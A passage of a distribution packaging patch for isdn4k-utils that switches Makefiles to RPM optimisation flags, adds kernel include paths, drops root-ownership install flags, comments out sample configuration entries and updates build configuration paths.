-CFLAGS = -Wall -O2 -D_GNU_SOURCE # -g
+CFLAGS = -Wall -D_GNU_SOURCE $(RPM_OPT_FLAGS)
 LDFLAGS = $(all_libraries)
 LDADD = 
 
--- isdn4k-utils-CVS-2003-09-23/divertctrl/Makefile.in.redhat	2002-07-19 21:03:51.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/divertctrl/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,16 +5,16 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/divert
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= divertctrl
 MODULES			= divertctrl.o
 MANPAGE			= divertctrl.8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 ifeq (../.config,$(wildcard ../.config))
--- isdn4k-utils-CVS-2003-09-23/doc/Makefile.in.redhat	1999-12-24 15:14:50.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/doc/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -9,7 +9,7 @@
 SED				= @SED@
 MANDIR			= @CONFIG_MANDIR@
 MANPAGES		= ttyI.4 isdninfo.4 isdn_audio.4 isdnctrl.4 isdn_cause.7
-INSTALL_MAN		= @INSTALL@ -o 0 -g 0 -m 0644
+INSTALL_MAN		= @INSTALL@ -m 0644
 prefix			= @prefix@
 
 %.1: %.man
--- isdn4k-utils-CVS-2003-09-23/eicon/Makefile.in.redhat	2002-07-19 20:42:01.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/eicon/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -7,8 +7,8 @@
 #
 
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2 -DUNIX -DLINUX
-INCLUDES		= -I. -Iinclude
+CFLAGS			= -Wall -DUNIX -DLINUX $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -Iinclude -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/eicon
 LDFLAGS			= -L../lib @LIBS@
 PROGRAMS		= 
 PROGRAM			= eiconctrl
@@ -22,9 +22,9 @@
 DATA_DIR		= @CONFIG_DATADIR@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 CC				= @CC@
 COPTS			= -DDATADIR=\"$(shell echo $(DESTDIR)$(DATA_DIR))\"
 
--- isdn4k-utils-CVS-2003-09-23/hisax/Makefile.in.redhat	2002-07-19 21:03:51.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/hisax/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -6,7 +6,7 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2 -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS) -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= -L../lib @LIBS@
 PROGRAMS		=
 MODULES			= hisaxctrl.o
@@ -16,9 +16,9 @@
 DATADIR			= @CONFIG_DATADIR@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 ifeq ("@CONFIG_HISAXCTRL@","y")
--- isdn4k-utils-CVS-2003-09-23/icn/Makefile.in.redhat	2002-07-19 21:03:52.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/icn/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/icn
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= icnctrl
@@ -17,9 +17,9 @@
 DATADIR			= @CONFIG_DATADIR@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_DATA	= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_DATA	= $(INSTALL) -m 0644
+INSTALL_MAN		= $(INSTALL) -m 0644
 CC				= @CC@
 COPTS			=
 
--- isdn4k-utils-CVS-2003-09-23/imon/Makefile.in.redhat	2002-07-19 21:03:53.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/imon/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -7,8 +7,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= imon
 MODULES			= imon.o
@@ -18,8 +18,8 @@
 SBINDIR			= @CONFIG_SBINDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/imontty/Makefile.redhat	2002-07-19 23:23:53.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/imontty/Makefile	2003-09-30 17:44:24.000000000 +0200
@@ -15,14 +15,14 @@
 	# Manual config standalone
 	#
 	CONFIG_SBINDRIR := /sbin
-	MAN8DIR         := /usr/man/man8
+	MAN8DIR         := /usr/share/man/man8
 endif
 
 INSTALL=install
-INSTALL_MAN=$(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_MAN=$(INSTALL) -m 0644
 MANPAGE=imontty.8
 
-CCFLAGS=-O2
+CCFLAGS=$(RPM_OPT_FLAGS) -I$(CONFIG_KERNELDIR)/include
 #CCFLAGS=-I$(ISDN_INCLUDE) -g
 
 # nothing to change behind this line
--- isdn4k-utils-CVS-2003-09-23/ipppstats/Makefile.in.redhat	2002-07-19 21:03:54.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/ipppstats/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -6,14 +6,14 @@
 MANDIR       = @CONFIG_MANDIR@
 CC           = @CC@
 INSTALL      = @INSTALL@
-INSTALL_SBIN = $(INSTALL) -m 755 -o 0 -g 0
-INSTALL_DATA = $(INSTALL) -m 644 -o 0 -g 0
-INSTALL_DIR  = $(INSTALL) -m 755 -o 0 -g 0 -d
+INSTALL_SBIN = $(INSTALL) -m 755
+INSTALL_DATA = $(INSTALL) -m 644
+INSTALL_DIR  = $(INSTALL) -m 755 -d
 
 PPPSTATSRCS  = ipppstats.c
 PPPSTATOBJS  = ipppstats.o
 
-CFLAGS       = -fomit-frame-pointer -O2
+CFLAGS       = $(RPM_OPT_FLAGS) -I at CONFIG_KERNELDIR@/include
 
 all: ipppstats
 
--- isdn4k-utils-CVS-2003-09-23/iprofd/Makefile.in.redhat	2002-07-19 23:23:53.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/iprofd/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= iprofd
 MODULES			= iprofd.o
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/isdnctrl/Makefile.in.redhat	2002-07-19 23:23:54.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnctrl/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			  = /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include
 LDFLAGS			= @LIBS@ 
 PROGRAM			= isdnctrl
 MODULES			= isdnctrl.o
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 CC				= @CC@ -DVERSION=\"@I4LVERSION@\"
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
--- isdn4k-utils-CVS-2003-09-23/isdnlog/samples/callerid.conf.redhat	2000-09-08 10:55:51.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/samples/callerid.conf	2003-09-30 17:44:24.000000000 +0200
@@ -2,38 +2,31 @@
 # 
 # More information: See the isdnlog documentation
 
+#INTERFACE = ippp0      # Isdn network interface. This information  is  required
+                        # with the "-hx" / hangup="value" option.
+
+
 [MSN]
 NUMBER = 4711
 ALIAS  = Phone
 SI     = 1
 ZONE   = 1
-START = {
-  [FLAG]
-  FLAGS = I|O|R|C|B|A|E|H
-  PROGRAM = /bin/myprog \$1 \$2 \$3 Phone
-}
+#START = {
+#  [FLAG]
+#  FLAGS = I|O|R|C|B|A|E|H
+#  PROGRAM = /bin/myprog \$1 \$2 \$3 Phone
+#}
 
 [MSN]
 NUMBER = 4711
 ALIAS  = HDLC
 SI     = 7
 ZONE   = 1
-START = {
-  [FLAG]
-  FLAGS = I|O|R|C|B|A|E|
-  PROGRAM = /bin/myprog \$1 \$2 \$3 HDLC @/home/user1/parameter
-}
-
-[MSN]
-NUMBER = 4712
-ALIAS  = Modem
-SI     = 1
-ZONE   = 1
-START = {
-  [FLAG]
-  FLAGS = I|O|R|C|B|A|E|H
-  PROGRAM = /bin/myprog \$1 \$2 \$3 Modem
-}
+#START = {
+#  [FLAG]
+#  FLAGS = I|O|R|C|B|A|E|
+#  PROGRAM = /bin/myprog \$1 \$2 \$3 HDLC @/home/user1/parameter
+#}
 
 [NUMBER]
 NUMBER = 01910
--- isdn4k-utils-CVS-2003-09-23/isdnlog/tools/cdb/Makefile.in.redhat	2000-08-15 17:16:23.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/tools/cdb/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -20,7 +20,7 @@
 BINDIR:=$(DESTDIR)@prefix@/bin
 INCDIR:=$(DESTDIR)@prefix@/include
 
-CFLAGS:=-Wall -O2
+CFLAGS:=-Wall $(RPM_OPT_FLAGS)
 
 all: depend $(FILES)
 
@@ -46,7 +46,7 @@
 	install -d -m0755 $(MAN1DIR) $(MAN3DIR) $(LIBDIR) $(BINDIR) \
 		$(INCDIR)
 
-install:
+install: install-dirs
 	install -m0755 $(BINS) $(BINDIR)
 	install -m0644 $(MAN1) $(MAN1DIR)
 	install -m0644 $(MAN3) $(MAN3DIR)
--- isdn4k-utils-CVS-2003-09-23/isdnlog/tools/dest/Makefile.in.redhat	2003-07-25 23:23:15.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/tools/dest/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -6,7 +6,7 @@
 -include ../../../.config
 BZIP2			= @BZIP2@
 SHELL			= /bin/sh
-CFLAGS			= -Wall -g
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
 INCLUDES		=
 LDFLAGS			= @DBMLIB@
 export DBEXT		= @DBEXT@
@@ -20,9 +20,9 @@
 SBINDIR			= @CONFIG_SBINDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM		= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
-INSTALL_DATA		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM		= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
+INSTALL_DATA		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 DATADIR			= @datadir@
--- isdn4k-utils-CVS-2003-09-23/isdnlog/tools/zone/Makefile.in.redhat	2003-03-11 14:08:00.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/tools/zone/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,7 +5,7 @@
 #
 BZIP2			= @BZIP2@
 SHELL			= /bin/sh
-CFLAGS			= -Wall -g
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
 INCLUDES		=
 LDFLAGS			= @DBMLIB@
 CDBEXTRALIBS		= @CDBEXTRALIBS@
@@ -20,8 +20,8 @@
 SBINDIR			= @CONFIG_SBINDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM		= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM		= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 #CC			= @CC@ -V2.7.2.3
--- isdn4k-utils-CVS-2003-09-23/isdnlog/Makefile.in.redhat	2003-08-26 21:46:11.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/isdnlog/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -1542,10 +1542,10 @@
 # autoconf isdnlog specific stuff
 #
 INSTALL			:= @INSTALL@
-INSTALL_DIR		:= $(INSTALL) -m 0755 -o 0 -g 0 -d
-INSTALL_SBIN		:= $(INSTALL) -m 0700 -o 0 -g 0
-INSTALL_BIN		:= $(INSTALL) -m 0755 -o 0 -g 0
-INSTALL_DATA		:= $(INSTALL) -m 0644 -o 0 -g 0
+INSTALL_DIR		:= $(INSTALL) -m 0755 -d
+INSTALL_SBIN		:= $(INSTALL) -m 0700
+INSTALL_BIN		:= $(INSTALL) -m 0755
+INSTALL_DATA		:= $(INSTALL) -m 0644
 
 BZIP2                   := @BZIP2@
 BUNZIP2                 := $(BZIP2) -f -d
@@ -1600,9 +1600,9 @@
 SUBDIRS     += $(LIBISDNDIR)
 endif
 
-# export CFLAGS  = -Wall -pipe -O6 -fomit-frame-pointer -fforce-mem -fforce-addr -funroll-loops -fstrength-reduce
+# export CFLAGS  = -Wall -pipe -frame-pointer -fforce-mem -fforce-addr -funroll-loops -fstrength-reduce
 
-export CFLAGS  = -Wall -pipe
+export CFLAGS  = -Wall $(RPM_OPT_FLAGS)
 ifndef _CC
 export _CC  = gcc
 endif
--- isdn4k-utils-CVS-2003-09-23/lib/Makefile.in.redhat	1999-12-12 18:22:36.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/lib/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -11,7 +11,7 @@
 	# Install as root with numeric Id's, since these are the
 	# only ones that _really_ exist on _every_ system.
 	#
-	INSTALLOPTS += INSTALL= install -o 0 -g 0 -m 644
+	INSTALLOPTS += INSTALL= install -m 644
 endif
 
 all: .depend
--- isdn4k-utils-CVS-2003-09-23/loop/Makefile.in.redhat	2002-07-19 21:03:56.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/loop/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,16 +5,16 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -O2
-INCLUDES		= -I.
+CFLAGS			= -Wall $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -I at CONFIG_KERNELDIR@/include -I at CONFIG_KERNELDIR@/drivers/isdn/loopctrl
 DEFS			=
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= loopctrl
 MODULES			= loopctrl.o
 MANPAGE			= loopctrl.8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM	= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM	= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 ifeq (../.config,$(wildcard ../.config))
--- isdn4k-utils-CVS-2003-09-23/pcbit/Makefile.in.redhat	2002-07-19 21:03:57.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/pcbit/Makefile.in	2003-09-30 17:44:24.000000000 +0200
@@ -5,8 +5,8 @@
 #
 #
 SHELL			= /bin/sh
-CFLAGS			= -Wall -Wstrict-prototypes -O2 -g
-INCLUDES		= -I. -DDEBUG 
+CFLAGS			= -Wall -Wstrict-prototypes $(RPM_OPT_FLAGS)
+INCLUDES		= -I. -DDEBUG -I at CONFIG_KERNELDIR@/drivers/isdn/pcbit
 LDFLAGS			= -L../lib @LIBS@
 PROGRAM			= pcbitctl
 MODULES			= pcbitctl.o convhexbin.o
@@ -15,8 +15,8 @@
 MANDIR			= @CONFIG_MANDIR@
 MAN8DIR			= $(MANDIR)/man8
 INSTALL			= @INSTALL@
-INSTALL_PROGRAM		= $(INSTALL) -o 0 -g 0 -m 0750
-INSTALL_MAN		= $(INSTALL) -o 0 -g 0 -m 0644
+INSTALL_PROGRAM		= $(INSTALL) -m 0750
+INSTALL_MAN		= $(INSTALL) -m 0644
 prefix			= @prefix@
 exec_prefix		= @exec_prefix@
 CC				= @CC@
--- isdn4k-utils-CVS-2003-09-23/rcapid/Makefile.am.redhat	2002-07-19 23:23:54.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/rcapid/Makefile.am	2003-09-30 17:44:24.000000000 +0200
@@ -8,7 +8,7 @@
 			  stamp-h.in comperr
 
 INCLUDES = -I../capi20 $(all_includes)
-CFLAGS = -Wall -O2
+CFLAGS = -Wall $(RPM_OPT_FLAGS)
 LDFLAGS = -L../capi20/.libs -L../capi20 $(all_libraries)
 LDADD = -lcapi20
 
--- isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxd.conf.example.redhat	1997-04-28 18:51:29.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxd.conf.example	2003-09-30 17:44:24.000000000 +0200
@@ -5,7 +5,7 @@
 # login (server startup) time. If access is 'yes' the host can login
 # and count messages without special access.
 
-L:localhost:Y
+#L:localhost:Y
 L:*:N
 
 # Full access list
@@ -13,7 +13,7 @@
 # All hosts in the full access list (begins with 'A') are checked if the
 # server gets the 'login' command.
 
-A:localhost:RW:michael:xxx:/var/spool/vbox/michael:incoming
-A:localhost:RW:nicole:xxx:/var/spool/vbox/nicole:incoming
+#A:localhost:RW:michael:xxx:/var/spool/vbox/michael:incoming
+#A:localhost:RW:nicole:xxx:/var/spool/vbox/nicole:incoming
 
 A:*:!:!:!:!:!
--- isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxgetty.conf.example.redhat	1997-10-22 22:46:58.000000000 +0200
+++ isdn4k-utils-CVS-2003-09-23/vbox/examples/vboxgetty.conf.example	2003-09-30 17:44:24.000000000 +0200
@@ -20,18 +20,18 @@
 
 # Settings for port ttyI6
 
-port /dev/ttyI6
-  modeminit		ATZ&B512&E7830022
-  user			nicole
-  group			users
-  spooldir		/var/spool/vbox/nicole
+#port /dev/ttyI6
+#  modeminit		ATZ&B512&E7830022
+#  user			nicole
+#  group			users
+#  spooldir		/var/spool/vbox/nicole
 
 
 # Settings for port ttyI7
 
-port /dev/ttyI7
-  modeminit		ATZ&B512&E7850413
-  user			michael
-  group			users
-  spooldir		/var/spool/vbox/michael
+#port /dev/ttyI7
+#  modeminit		ATZ&B512&E7850413
+#  user			michael
+#  group			users
+#  spooldir		/var/spool/vbox/michael
 
--- isdn4k-utils-CVS-2003-09-23/xisdnload/Imakefile.redhat	1998-03-08 19:54:01.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/xisdnload/Imakefile	2003-09-30 17:44:24.000000000 +0200
@@ -21,7 +21,7 @@
            OBJS = xisdnload.o
  OSMAJORVERSION = OSMajorVersion
  OSMINORVERSION = OSMinorVersion
-      DEFINES = -DOSMAJORVERSION=$(OSMAJORVERSION) -DOSMINORVERSION=$(OSMINORVERSION) -DREGEX_NUMBER
+      DEFINES = -D_GNU_SOURCE -DOSMAJORVERSION=$(OSMAJORVERSION) -DOSMINORVERSION=$(OSMINORVERSION) -DREGEX_NUMBER
 
 AllTarget(xisdnload)
 NormalProgramTarget(xisdnload,$(OBJS),$(DEPLIBS),$(LOCAL_LIBRARIES),NullParameter)
--- isdn4k-utils-CVS-2003-09-23/.config.rpm.redhat	1998-11-23 13:12:04.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/.config.rpm	2003-09-30 17:59:55.000000000 +0200
@@ -5,16 +5,16 @@
 #
 # Code maturity level options
 #
-CONFIG_EXPERIMENTAL=y
+# CONFIG_EXPERIMENTAL is not set
 
 #
 # General configuration
 #
 CONFIG_BUILDX11=y
-CONFIG_KERNELDIR='/usr/src/linux'
+CONFIG_KERNELDIR='/usr/src/linux-2.4'
 CONFIG_BINDIR='/usr/bin'
-CONFIG_SBINDIR='/sbin'
-CONFIG_MANDIR='/usr/man'
+CONFIG_SBINDIR='/usr/sbin'
+CONFIG_MANDIR='/usr/share/man'
 CONFIG_RUNDIR='/var/run'
 CONFIG_LOCKDIR='/var/lock'
 CONFIG_LOCKFILE='LCK..'
@@ -23,11 +23,9 @@
 CONFIG_CALLERIDFILE='callerid.conf'
 CONFIG_USERCONFFILE='~/.isdn'
 CONFIG_COUNTRYCODE='49'
-CONFIG_AREACODE=''
+CONFIG_AREACODE='9999'
 CONFIG_COUNTRY_PREFIX='+'
 CONFIG_AREA_PREFIX='0'
-CONFIG_DATADIR='/usr/lib/isdn'
-CONFIG_LIB_AREACODE=y
 
 #
 # Runtime configuration tools
@@ -36,18 +34,20 @@
 CONFIG_ISDNCTRL_CONF=y
 CONFIG_ISDNCTRL_TIMRU=y
 CONFIG_IPROFD=y
+#CONFIG_DIVERTCTRL=y
 
 #
 # Card configuration tools
 #
-# CONFIG_TELESCTRL is not set
+CONFIG_TELESCTRL=y
 CONFIG_HISAXCTRL=y
 CONFIG_ICNCTRL=y
 # CONFIG_ICNCTRL_DEBUG is not set
 CONFIG_PCBITCTL=y
 CONFIG_AVMCAPICTRL=y
+#CONFIG_EICONCTRL=y
 CONFIG_LOOPCTRL=y
-CONFIG_LOOPCTRL_LOOPDIR='/usr/src/linux/drivers/isdn/isdnloop'
+CONFIG_LOOPCTRL_LOOPDIR='/usr/src/linux-2.4/drivers/isdn/isdnloop'
 # CONFIG_LOOPCTRL_DEBUG is not set
 
 #
@@ -64,14 +64,20 @@
 CONFIG_ISDNLOG_USERFILE='isdnlog.users'
 CONFIG_ISDNLOG_CHARGEFILE='charge.dat'
 CONFIG_ISDNLOG_LOGFILE='/var/log/isdn.log'
-CONFIG_ISDNLOG_RELOADCMD='reload'
-CONFIG_ISDNLOG_STOPCMD='stop'
+CONFIG_ISDNLOG_RELOADCMD='/etc/rc.d/init.d/isdn restart'
+CONFIG_ISDNLOG_STOPCMD='/etc/rc.d/init.d/isdn stop'
 CONFIG_ISDNLOG_REBOOTCMD='/sbin/reboot'
 CONFIG_ISDNLOG_OLDI4LCONFDIR='/etc/isdnlog'
 CONFIG_ISDNLOG_OLDI4LCONFFILE='isdnlog.conf'
 # CONFIG_ISDNLOG_POSTGRES is not set
 # CONFIG_ISDNLOG_MYSQLDB is not set
+# CONFIG_ISDNLOG_ORACLE is not set
 CONFIG_ISDN_LOG_DE=y
+CONFIG_ISDN_LOG_CC_DE=y
+CONFIG_ISDN_LOG_DEST_DE=y
+# CONFIG_ISDN_LOG_DEST_AT is not set
+# CONFIG_ISDN_LOG_DEST_NL is not set
+# CONFIG_ISDN_LOG_DEST_CH is not set
 CONFIG_IPPPSTATS=y
 CONFIG_XISDNLOAD=y
 CONFIG_XMONISDN=y
@@ -79,8 +85,8 @@
 #
 # Options for xmonisdn
 #
-CONFIG_XMONISDN_UPCMD='/sbin/netup'
-CONFIG_XMONISDN_DOWNCMD='/sbin/netdown'
+CONFIG_XMONISDN_UPCMD='/sbin/ifup'
+CONFIG_XMONISDN_DOWNCMD='/sbin/ifdown'
 
 #
 # Applications
@@ -94,23 +100,22 @@
 VBOX_LOGDIR='/var/log/vbox'
 VBOX_PIDDIR='/var/run'
 VBOX_LOCKDIR='/var/lock'
-VBOX_DOCDIR='/usr/doc/vbox'
-VBOX_TCL='tcl8.0'
+VBOX_DOCDIR='/usr/share/doc/vbox'
+VBOX_TCL='tcl8.5'
+# VBOX_SUSPEND_ID is not set
 CONFIG_IPPPD=y
 
 #
 # Options for ipppd
 #
-CONFIG_IPPPD_MSCHAP=y
+# CONFIG_IPPPD_MSCHAP is not set
+CONFIG_IPPP_FILTER=y
 # CONFIG_IPPPD_RADIUS is not set
 # CONFIG_RADIUS_WTMP_LOGGING is not set
 RADIUS_CLIENT_CONFIG_FILE=''
 CONFIG_CAPIFAX=y
 CONFIG_RCAPID=y
 
-#
-# Documentation
-#
-CONFIG_GENMAN=y
-CONFIG_FAQ=y
-CONFIG_FAQDIR='/usr/doc/faq/isdn4linux'
+# CAPI plugins
+CONFIG_PPPDCAPIPLUGIN=y
+
--- isdn4k-utils-CVS-2003-09-23/ipppd/ccp.c.redhat	2000-11-12 17:06:42.000000000 +0100
+++ isdn4k-utils-CVS-2003-09-23/ipppd/ccp.c	2004-01-20 19:14:07.000000000 +0100
@@ -41,7 +41,7 @@
 
 #include "compressions.h"
 
-#if 0
+#if HAVE_LZSCOMP_H
 #include <linux/isdn_lzscomp.h>
 #else
 #include "../ipppcomp/isdn_lzscomp.h"
--- isdn4k-utils-CVS-2005-02-16/ipppd/Makefile.in.redhat	2004-08-30 16:56:36.000000000 +0200
+++ isdn4k-utils-CVS-2005-02-16/ipppd/Makefile.in	2005-02-16 18:42:54.119955183 +0100
@@ -15,10 +15,10 @@
 MANDIR        := @CONFIG_MANDIR@
 CC            := @CC@
 INSTALL       := @INSTALL@
-INSTALL_DIR   := $(INSTALL) -m 0755 -o 0 -g 0 -d
-INSTALL_SBIN  := $(INSTALL) -m 0700 -o 0 -g 0
-INSTALL_BIN   := $(INSTALL) -m 0755 -o 0 -g 0
-INSTALL_DATA  := $(INSTALL) -m 0644 -o 0 -g 0
+INSTALL_DIR   := $(INSTALL) -m 0755 -d
+INSTALL_SBIN  := $(INSTALL) -m 0700 
+INSTALL_BIN   := $(INSTALL) -m 0755
+INSTALL_DATA  := $(INSTALL) -m 0644
 RADIUS_CLIENT_CONFIG_FILE := @RADIUS_CLIENT_CONFIG_FILE@
 
 ifeq (@CONFIG_IPPPD_MSCHAP@,y)
@@ -73,7 +73,7 @@
 
 DEBUG_FLAGS   = @CONFIG_IPPPD_DEBUGFLAGS@
 COMPILE_FLAGS = @CFLAGS@
-CFLAGS        = -O2 -fomit-frame-pointer -Wall
+CFLAGS        = $(RPM_OPT_FLAGS)
 VER           = 2.2.0
 
 # it's a hack
--- isdn4k-utils-CVS-2005-02-16/isdnlog/tools/Makefile.cflags	2005-02-16 18:53:15.393382578 +0100
+++ isdn4k-utils-CVS-2005-02-16/isdnlog/tools/Makefile	2005-02-16 18:53:51.914999474 +0100
@@ -1,4 +1,4 @@
-CC=gcc -m486 -O2 -Wall -DSTANDALONE -I. -I.. -I../isdnlog -I../connect -I../../lib
+CC=gcc $(RPM_OPT_FLAGS) -DSTANDALONE -I. -I.. -I../isdnlog -I../connect -I../../lib
 #CC=gcc -m486 -O2 -g -pg -Wall -DSTANDALONE -I. -I.. -I../isdnlog
 
 all: rate-at
